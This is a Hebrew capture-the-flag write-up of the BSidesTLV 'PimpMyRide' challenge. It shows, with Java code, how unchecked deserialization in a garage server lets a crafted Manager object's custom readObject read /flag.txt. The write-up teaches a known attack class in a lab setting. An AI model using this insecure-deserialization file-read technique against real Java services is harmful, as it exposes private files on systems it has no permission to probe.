PimpMyRide

נכתב על ידי Yaakov Cohen

PimpMyRide

בואו נתחיל, קיבלנו קובץ jar garage.jar. הוצאנו את הקוד שלו בעזרת האתר הזה. ניתן למצוא את הקבצים כאן.

שמנו לב שהקובץ jar הכיל גם את הקוד של הלקוח וגם את הקוש של השרת.

@Parameter(names={"--listen"}, description="Starts Garage as a server")

בואו נסתכל בקוד של השרת. אנחנו רואים שכאשר הלקוח בוחר באופציה [3] Save garage השרת מבצע סרליזציה לאובייקט של החנייה ושולח את זה למשתמש:

else if (clientCommand.equalsIgnoreCase("3")) {
    FileOutputStream fos = new FileOutputStream("garage");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(garage);
    oos.flush();
    Utils.sendGarage(myClientSocket, garage.toByteArray());
} 

public class Garage implements Serializable
{
...
  public byte[] toByteArray() throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    ObjectOutputStream os = new ObjectOutputStream(out);
    os.writeObject(this);
    return out.toByteArray();
  }
}

ואז הלוקח לוקח את המערך ושומר את זה לקובץ בשם "garage":

else if (sentence.equals("3")) {
  Utils.writeToSocket(clientSocket, sentence);
  byte[] garageByteArray = Utils.receiveGarage(clientSocket);
  FileOutputStream fos = new FileOutputStream("garage");
  fos.write(garageByteArray);
  fos.close();
}

וכאשר הלקוח בוחר באופציה [2] Load existing garage זה לוקח את הקובץ של החנייה ושולח לשרת:

FileInputStream fis = new FileInputStream("garage");
byte[] garageByteArray = Files.readAllBytes(new File("garage").toPath());
Utils.sendGarage(clientSocket, garageByteArray);

השרת לוקח את המידע שהתקבל מבצע סרליזציה לאובייקט חנייה בלי לבצע שום בדיקה:

     byte[] garageBytes = Utils.receiveGarage(myClientSocket);
     ByteArrayInputStream in = new ByteArrayInputStream(garageBytes);
     ObjectInputStream ois = new ObjectInputStream(in);
 ==> garage = ((Garage)ois.readObject());
     ois.close();

במחקלה garage אפשר לראות אובייקט פרטי private Employee garageManager; שאף פעם לא מקבל ערך. בתרשים זרימה של הקוד במחלקת garageManager אנו רואים שהפונקציה readObject כתובה עם אימפלמנטציה מותאמת, הפונקציה הזאת נקראית כאשר אובייקת עובר סרליזציה:

public class Manager extends Employee implements java.io.Serializable
{
  private String closeMessageFile;
  private String closeMessage;
  
  public Manager() throws IOException
  {
    closeMessageFile = "close.txt";
    logger = new FileLogger("log.txt");
    closeMessage = null;
  }
....
  private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
    in.defaultReadObject();
    try {
      if (closeMessage == null) {
        java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
        FileInputStream fis = new FileInputStream(closeMessageFile);
        byte[] data = new byte[(int)closeMessageFile.length()];
        fis.read(data);
        fis.close();
        closeMessage = new String(data, "UTF-8");
      }
    }
    catch (IOException localIOException) {}
  }
}

אם רק היינו יכולים ליצור garageManager ולשנות את closeMessageFile מ-close.txt ל-/flag.txt...

רק רגע, אנחנו כן יכולים!

אז התוכנית היא כזאת:

  1. ליצור אובייקט חנייה עם garageManager ערוך.
  2. לשלוח את זה לשרת. התהליך סרליזציה ב-garageManager יקרא /flag.txt ב-closeMessage.
  3. נשמור את החנייה לקובץ.
  4. נזין את הדגל.

ערכנו את אובייקט החנייה:

public class Manager extends Employee implements java.io.Serializable
{
  private String closeMessageFile;
  private String closeMessage;
  
  public Manager() throws IOException
  {
    closeMessageFile = "/flag.txt";
    logger = null;//new FileLogger("log.txt");
    closeMessage = null;
  }
  ....
  private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
    in.defaultReadObject();
    try {

        java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
        FileInputStream fis = new FileInputStream(closeMessageFile);
        byte[] data = new byte[(int)closeMessageFile.length()];
        fis.read(data);
        fis.close();
        closeMessage = new String(data, "UTF-8");
      
    }
    catch (IOException localIOException) {}
  }
}

ייצרנו אובייקט חנייה חדש:

public static void main(String[] args){
    Garage garage = new Garage();
    garage.setManager(new Manager());
    FileOutputStream fos = new FileOutputStream("garage");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(garage);
    oos.flush();
}

שלחנו אותו לשרת: [2] Load existing garage, וקיבלנו מהשרת אובייקט חדש: [3] Save garage.

בקובץ מצאנו את הדגל: BSidesTLV{I_Am_Inspector_Gadget}.

Success